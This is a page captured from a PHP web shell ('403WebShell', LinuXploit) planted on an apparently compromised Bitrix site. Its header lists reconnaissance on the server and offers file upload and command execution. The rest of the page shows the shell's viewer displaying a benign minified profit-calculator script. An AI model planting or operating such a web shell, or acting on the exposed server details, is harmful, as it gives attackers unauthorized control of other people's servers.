%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.117.138.12
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/conversion/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/conversion/profit_calc.min.js
var ProfitCalc=function(t){this.wrapper=t.wrapper;this.topBlockWrapper=t.topBlockWrapper;this.cellParams=t.cellParams;this.topBlockParams=t.topBlockParams;this.titleText=t.calcTitleText;this.btnText=t.calcBtnText;this.valueNodeList=[];this.objList=[];this.cellOrderObjList=[];this.isEditableOn=false;this.toggleBtn=null;this.isError=false;this.errorClassName="adm-profit-error";this.init()};ProfitCalc.prototype={init:function(){this.createObjList();this.createObjNodeList();this.createCalcNode();this.firstCounting();this.painting();this.setFixSize()},createObjNodeList:function(){this.budget_1={title:this.cellParams.budget.title,isEditable:true,node:null,getMainObj:BX.proxy(function(){return this.budget},this),field:null};this.clickPrice_2={title:this.cellParams.clickPrice.title,isEditable:true,node:null,getMainObj:BX.proxy(function(){return this.clickPrice},this),field:null};this.amountClicks_3={title:this.cellParams.amountClicks.title,addClass:"adm-profit-calc-cel-yellow",node:null,getMainObj:BX.proxy(function(){return this.amountClicks},this)};this.amountClicks_4={title:this.cellParams.amountClicks.title,node:null,getMainObj:BX.proxy(function(){return this.amountClicks},this)};this.amountOrders_5={title:this.cellParams.amountOrders.title,node:null,getMainObj:BX.proxy(function(){return this.amountOrders},this)};this.conversion_6={title:this.cellParams.conversion.title,isEditable:true,addClass:"adm-profit-calc-cel-yellow",node:null,getMainObj:BX.proxy(function(){return this.conversion},this),field:null};this.grossProfit_7={title:this.cellParams.grossProfit.title,node:null,getMainObj:BX.proxy(function(){return this.grossProfit},this)};this.amountOrders_8={title:this.cellParams.amountOrders.title,node:null,getMainObj:BX.proxy(function(){return this.amountOrders},this)};this.averageBill_9={title:this.cellParams.averageBill.title,isEditable:true,addClass:"adm-profit-calc-cel-red",node:null,getMainObj:BX.proxy(function(){return this.averageBill},this),field:null};this.budget_10={title:this.cellParams.budget.title,node:null,getMainObj:BX.proxy(function(){return this.budget},this)};this.amountOrders_11={title:this.cellParams.amountOrders.title,node:null,getMainObj:BX.proxy(function(){return this.amountOrders},this)};this.orderPrice_12={title:this.cellParams.orderPrice.title,addClass:"adm-profit-calc-cel-red",node:null,getMainObj:BX.proxy(function(){return this.orderPrice},this)};this.budget_13={title:this.cellParams.budget.title,node:null,getMainObj:BX.proxy(function(){return this.budget},this)};this.markup_14={title:this.cellParams.markup.title,isEditable:true,node:null,getMainObj:BX.proxy(function(){return this.markup},this),field:null};this.roi_15={title:this.cellParams.roi.title,addClass:"adm-profit-calc-cel-violet",node:null,getMainObj:BX.proxy(function(){return this.roi},this)};this.other_16={title:this.cellParams.other.title,isEditable:true,node:null,getMainObj:BX.proxy(function(){return this.other},this),field:null};this.cost_17={title:this.cellParams.cost.title,isEditable:true,node:null,getMainObj:BX.proxy(function(){return this.cost},this),field:null};this.cellOrderObjList=[this.budget_1,this.clickPrice_2,this.amountClicks_3,this.amountClicks_4,this.amountOrders_5,this.conversion_6,this.grossProfit_7,this.amountOrders_8,this.averageBill_9,this.budget_10,this.amountOrders_11,this.orderPrice_12,this.budget_13,this.markup_14,this.roi_15,this.other_16,this.cost_17];this.topGrossProfit={node:this.topBlockParams.topGrossProfit,getMainObj:BX.proxy(function(){return this.grossProfit},this)};this.topBudget={node:this.topBlockParams.topBudget,getMainObj:BX.proxy(function(){return this.budget},this)};this.topOther={node:this.topBlockParams.topOther,getMainObj:BX.proxy(function(){return this.other},this)};this.topTotal={node:this.topBlockParams.topTotal,getMainObj:BX.proxy(function(){return this.total},this)};this.topConversion={node:this.topBlockParams.topConversion,getMainObj:BX.proxy(function(){return this.conversion},this)};for(var t=this.cellOrderObjList.length-1;t>=0;t--){this.valueNodeList.push(this.cellOrderObjList[t])}this.valueNodeList.push(this.topGrossProfit);this.valueNodeList.push(this.topBudget);this.valueNodeList.push(this.topOther);this.valueNodeList.push(this.topTotal);this.valueNodeList.push(this.topConversion)},createObjList:function(){this.budget={firstValue:this.cellParams.budget.value,value:this.cellParams.budget.value,getValue:BX.proxy(function(){return this.budget_1.field.value},this),directDependence:BX.proxy(function(){return this.amountClicks},this),isEditable:false};this.objList.push(this.budget);this.clickPrice={firstValue:this.cellParams.clickPrice.value,value:this.cellParams.clickPrice.value,getValue:BX.proxy(function(){return this.clickPrice_2.field.value},this),directDependence:BX.proxy(function(){return this.amountClicks},this),isEditable:false};this.objList.push(this.clickPrice);this.amountClicks={firstValue:null,value:null,round:function(t){return Math.ceil(t)},formula:BX.proxy(function(){return this.clickPrice.value?this.budget.value/this.clickPrice.value:this.budget.value},this),isEditable:false};this.objList.push(this.amountClicks);this.amountOrders={firstValue:this.cellParams.amountOrders.value,value:this.cellParams.amountOrders.value,round:function(t){return Math.ceil(t)},formula:BX.proxy(function(){return this.amountClicks.value?this.conversion.value*this.amountClicks.value/100:this.amountClicks.value},this),isEditable:false};this.objList.push(this.amountOrders);this.conversion={firstValue:null,value:null,round:BX.proxy(function(t){return this.round100(t)},this),formula:BX.proxy(function(){return this.amountClicks.value?this.amountOrders.value/this.amountClicks.value*100:this.amountOrders.value},this),getValue:BX.proxy(function(){return this.conversion_6.field.value},this),directDependence:BX.proxy(function(){return this.amountOrders},this),isEditable:false};this.objList.push(this.conversion);this.grossProfit={firstValue:this.cellParams.grossProfit.value,value:this.cellParams.grossProfit.value,round:function(t){return Math.ceil(t)},formula:BX.proxy(function(){var t;if(this.markup.isActive){t=this.cost.value+this.cost.value/100*this.markup.value;this.markup.isActive=false;this.averageBill.value=this.amountOrders.value?t/this.amountOrders.value:t;this.averageBill.isEditable=true}else{t=this.averageBill.value*this.amountOrders.value}return t},this),isEditable:false};this.objList.push(this.grossProfit);this.averageBill={firstValue:null,value:null,round:BX.proxy(function(t){return this.round100(t)},this),formula:BX.proxy(function(){return this.amountOrders.value?this.grossProfit.value/this.amountOrders.value:this.grossProfit.value},this),getValue:BX.proxy(function(){return this.averageBill_9.field.value},this),directDependence:BX.proxy(function(){return this.grossProfit},this),isEditable:false};this.objList.push(this.averageBill);this.orderPrice={firstValue:null,value:null,round:BX.proxy(function(t){return this.round100(t)},this),formula:BX.proxy(function(){return this.amountOrders.value?this.budget.value/this.amountOrders.value:this.budget.value},this),isEditable:false};this.objList.push(this.orderPrice);this.markup={firstValue:this.cellParams.markup.value,value:this.cellParams.markup.value,prevValue:this.cellParams.markup.value,getValue:BX.proxy(function(){return this.markup_14.field.value},this),directDependence:BX.proxy(function(){return this.grossProfit},this),isActive:false,isEditable:false};this.objList.push(this.markup);this.cost={firstValue:null,value:null,round:function(t){return Math.round(t)},formula:BX.proxy(function(){return this.grossProfit.value-this.grossProfit.value/(100+this.markup.value)*this.markup.value},this),getValue:BX.proxy(function(){return this.cost_17.field.value},this),isEditable:false};this.objList.push(this.cost);this.roi={firstValue:null,value:null,round:BX.proxy(function(t){return this.round100(t)},this),formula:BX.proxy(function(){return this.budget.value||this.other.value?(this.grossProfit.value-this.cost.value)/(this.budget.value+this.other.value)*100:this.grossProfit.value-this.cost.value},this),isEditable:false};this.objList.push(this.roi);this.other={firstValue:this.cellParams.other.value,value:this.cellParams.other.value,getValue:BX.proxy(function(){return this.other_16.field.value},this),isEditable:false};this.objList.push(this.other);this.total={firstValue:null,value:null,round:function(t){return Math.ceil(t)},formula:BX.proxy(function(){return this.grossProfit.value-(this.budget.value+this.other.value)},this),isEditable:false};this.objList.push(this.total)},showFields:function(){for(var t=this.cellOrderObjList.length-1;t>=0;t--){if(this.cellOrderObjList[t].isEditable){this.cellOrderObjList[t].field.style.fontSize=BX.style(this.cellOrderObjList[t].node,"font-size");this.cellOrderObjList[t].field.style.display="block";(function(t){setTimeout(function(){t.style.opacity=1},100)})(this.cellOrderObjList[t].field)}}},hideFields:function(){for(var t=this.cellOrderObjList.length-1;t>=0;t--){if(this.cellOrderObjList[t].isEditable){this.cellOrderObjList[t].field.style.fontSize=BX.style(this.cellOrderObjList[t].node,"font-size");this.cellOrderObjList[t].field.style.display="none";this.cellOrderObjList[t].field.style.opacity=0}}},editToggle:function(){if(!this.isEditableOn){this.isEditableOn=true;BX.addClass(this.toggleBtn,"adm-profit-calc-toggle-active");BX.addClass(this.wrapper,"adm-profit-block-part-active");this.showFields()}else{this.isEditableOn=false;BX.removeClass(this.toggleBtn,"adm-profit-calc-toggle-active");BX.removeClass(this.wrapper,"adm-profit-block-part-active");this.hideFields();this.returnValue()}},toggleButton:function(){this.toggleBtn=BX.create("div",{props:{className:"adm-profit-calc-toggle"},children:[BX.create("span",{props:{className:"adm-profit-calc-toggle-text"},text:this.btnText}),BX.create("span",{props:{className:"adm-profit-calc-toggle-btn"}})]});BX.bind(this.toggleBtn,"click",BX.proxy(this.editToggle,this));return this.toggleBtn},createCalcNode:function(){var t=[];var i=1;var e;var s=BX.create("div",{props:{className:"adm-profit-title-wrap"},children:[BX.create("div",{props:{className:"adm-profit-title adm-profit-title-calc"},text:this.titleText}),this.toggleButton()]});for(var r=0;r<this.cellOrderObjList.length;r++){if(i==1){e=BX.create("div",{props:{className:"adm-profit-calc-row"}});t.push(e)}e.appendChild(this.createCell(this.cellOrderObjList[r]));i=i==3?1:++i}var l=BX.create("div",{props:{className:"adm-profit-calc-block"},children:t});this.wrapper.appendChild(s);this.wrapper.appendChild(l)},setFixSize:function(){var t=[];for(var i=this.cellOrderObjList.length-1;i>=0;i--){t.push({node:this.cellOrderObjList[i].node,maxFontSize:23,smallestValue:true})}t.push({node:this.topGrossProfit.node,maxFontSize:45});t.push({node:this.topBudget.node,maxFontSize:29});t.push({node:this.topOther.node,maxFontSize:29});t.push({node:this.topTotal.node,maxFontSize:45});t.push({node:this.topConversion.node,maxFontSize:19});BX.FixFontSize.init({objList:t,onresize:true})},createField:function(){var t;if(!BX.browser.IsIE8()){t=BX.debounce(this.reCounting,500,this)}else{t=BX.proxy(this.reCounting,this)}return BX.create("input",{props:{type:"text",className:"adm-profit-calc-inp"},events:{keyup:t}})},createCell:function(t){var i,e,s,r,l=[];var a=t.addClass?"adm-profit-calc-cel "+t.addClass:"adm-profit-calc-cel";s=t.isEditable?"adm-profit-calc-cont adm-profit-calc-cont-inp":"adm-profit-calc-cont";var o=BX.create("div",{props:{className:"adm-profit-calc-cel-header"},text:t.title});e=BX.create("div",{props:{className:s}});l.push(o);if(t==this.other_16||t==this.cost_17)a=a+" adm-profit-calc-footer";if(t.isEditable){i=this.createField();l.push(e,i);t.field=i}else{l.push(e)}t.node=e;return BX.create("div",{props:{className:a},children:l})},round100:function(t){return Math.ceil(t*100)/100},firstCounting:function(){for(var t=0;t<this.objList.length;t++){if(this.objList[t].firstValue===null){this.objList[t].value=this.objList[t].firstValue=this.objList[t].formula()}}this.conversion.formula=null;this.averageBill.formula=null},reCounting:function(t){t=t||window.event;var i=t.target||t.srcElement;var e,s=this.validation(i.value);if(!s&&s!==0){BX.addClass(i,this.errorClassName);return}else{BX.removeClass(i,this.errorClassName)}for(var r=this.cellOrderObjList.length-1;r>=0;r--){if(this.cellOrderObjList[r].field==i){e=this.cellOrderObjList[r].getMainObj()}}e.value=s;e.isEditable=true;if(e==this.markup)this.markup.isActive=true;if(e.directDependence){e.directDependence().value=e.directDependence().formula();e.directDependence().isEditable=true}for(var l=0;l<this.objList.length;l++){if(this.objList[l].formula&&!this.objList[l].isEditable){this.objList[l].value=this.objList[l].formula()}else if(this.objList[l].isEditable){this.objList[l].isEditable=false}}this.painting()},validation:function(t){t=t.replace(",",".");return parseFloat(t)},painting:function(){for(var t=this.valueNodeList.length-1;t>=0;t--){var i=this.valueNodeList[t].getMainObj();var e=i.value;e=i.round?i.round(e):e;this.valueNodeList[t].node.innerHTML=this.addBit(e.toString());if(this.valueNodeList[t].field){this.valueNodeList[t].field.value=e;if(this.valueNodeList[t]==this.averageBill_9&&this.grossProfit.value===0){this.valueNodeList[t].node.innerHTML=0;this.valueNodeList[t].node.style.transition="none";this.valueNodeList[t].node.style.color="#000";this.valueNodeList[t].field.style.opacity=0}else{this.valueNodeList[t].field.style.opacity=1;this.valueNodeList[t].node.style.color="";this.valueNodeList[t].node.style.transition=""}}}},addBit:function(t){var i=t.indexOf(".");var e=0;var s=i!=-1?i-1:t.length-1;for(s;s>=0;s--){e++;if(e==3){t=t.slice(0,s)+" "+t.slice(s);e=0}}return t},returnValue:function(){for(var t=this.valueNodeList.length-1;t>=0;t--){var i=this.valueNodeList[t].getMainObj();var e=i.firstValue;e=i.round?i.round(e):e;if(this.valueNodeList[t].field){this.valueNodeList[t].field.value=e;BX.removeClass(this.valueNodeList[t].field,this.errorClassName)}this.valueNodeList[t].node.innerHTML=this.addBit(e.toString())}for(var s=this.objList.length-1;s>=0;s--){this.objList[s].value=this.objList[s].firstValue}}};ProfitCalc.create=function(t){return new ProfitCalc(t)};
//# sourceMappingURL=profit_calc.map.js

Youez - 2016 - github.com/yon3zu
LinuXploit